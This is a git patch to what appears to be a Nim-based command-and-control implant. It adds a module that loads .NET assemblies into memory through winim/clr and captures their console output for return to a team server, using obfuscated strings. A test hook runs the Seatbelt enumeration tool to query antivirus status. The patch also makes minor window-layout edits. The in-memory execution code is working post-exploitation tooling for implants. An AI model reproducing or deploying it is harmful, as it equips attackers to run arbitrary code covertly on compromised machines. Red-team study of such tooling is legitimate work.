From 9b94a06ce90d9f81747e83caffa3dc236e7d8357 Mon Sep 17 00:00:00 2001 From: Jakob Friedl <71284620+jakobfriedl@users.noreply.github.com> Date: Fri, 12 Sep 2025 15:06:28 +0200 Subject: [PATCH] Implemented basic .NET assembly execution using winim/clr. --- src/agent/core/clr.nim | 49 ++++++++++++++++++++++++++++++++++++++++++ src/agent/main.nim | 6 ++++++ src/client/layout.ini | 6 +++--- 3 files changed, 58 insertions(+), 3 deletions(-) create mode 100644 src/agent/core/clr.nim diff --git a/src/agent/core/clr.nim b/src/agent/core/clr.nim new file mode 100644 index 0000000..c642a66 --- /dev/null +++ b/src/agent/core/clr.nim @@ -0,0 +1,49 @@ +import winim/[lean, clr] +import os, strformat, strutils, sequtils +import ../../common/[types, utils] + +#[ + Executing .NET assemblies in memory + References: + - https://maldevacademy.com/new/modules/60?view=blocks + - https://github.com/chvancooten/NimPlant/blob/main/client/commands/risky/executeAssembly.nim + - https://github.com/itaymigdal/Nimbo-C2/blob/main/Nimbo-C2/agent/windows/utils/clr.nim +]# + +import sugar + +proc dotnetInlineExecuteGetOutput(assemblyBytes: seq[byte], arguments: seq[string] = @[]): string = + + # The winim/clr library takes care of most of the heavy lifting for us here + # - https://github.com/khchen/winim/blob/master/winim/clr.nim + var assembly = load(assemblyBytes) + + # Parsing the arguments to be passed to the assembly + var args = arguments.toCLRVariant(VT_BSTR) + + # Redirect the output of the assembly to a .NET StringWriter so we can return it to the team server over the network + var + mscor = load(protect("mscorlib")) + io = load(protect("System.IO")) + Console = mscor.GetType(protect("System.Console")) + StringWriter = io.GetType(protect("System.IO.StringWriter")) + + var stringWriter = @StringWriter.new() + var oldConsole = @Console.Out + @Console.SetOut(stringWriter) + + # Execute the assemblies entry point + assembly.EntryPoint.Invoke(nil, toCLRVariant([args])) + + # Reset console properties + @Console.SetOut(oldConsole) + + return fromCLRVariant[string](stringWriter.ToString()) + +proc test*() = + + var bytes = string.toBytes(readFile("C:\\Tools\\precompiled-binaries\\Enumeration\\Seatbelt.exe")) + var args = @["antivirus"] + + var result = dotnetInlineExecuteGetOutput(bytes, args) + echo result \ No newline at end of file diff --git a/src/agent/main.nim b/src/agent/main.nim index a57814f..4e36482 100644 --- a/src/agent/main.nim +++ b/src/agent/main.nim @@ -68,5 +68,11 @@ proc main() = except CatchableError as err: echo "[-] ", err.msg + +import core/clr when isMainModule: + + test() + quit(0) + main() \ No newline at end of file diff --git a/src/client/layout.ini b/src/client/layout.ini index 47aba4c..86e9494 100644 --- a/src/client/layout.ini +++ b/src/client/layout.ini @@ -57,8 +57,8 @@ Collapsed=0 DockId=0x00000002,1 [Window][Example: Console] -Pos=10,525 -Size=2848,1160 +Pos=10,466 +Size=1888,523 Collapsed=0 DockId=0x00000002,1 @@ -96,5 +96,5 @@ DockSpace ID=0x85940918 Window=0x260A4489 Pos=10,43 Size=1888,946 Split=Y DockNode ID=0x00000001 Parent=0x85940918 SizeRef=1024,421 Split=X DockNode ID=0x00000003 Parent=0x00000001 SizeRef=613,159 CentralNode=1 Selected=0x61E02D75 DockNode ID=0x00000004 Parent=0x00000001 SizeRef=409,159 Selected=0x5E5F7166 - DockNode ID=0x00000002 Parent=0x85940918 SizeRef=1024,523 Selected=0x4AD091E6 + DockNode ID=0x00000002 Parent=0x85940918 SizeRef=1024,523 Selected=0x1BCA3180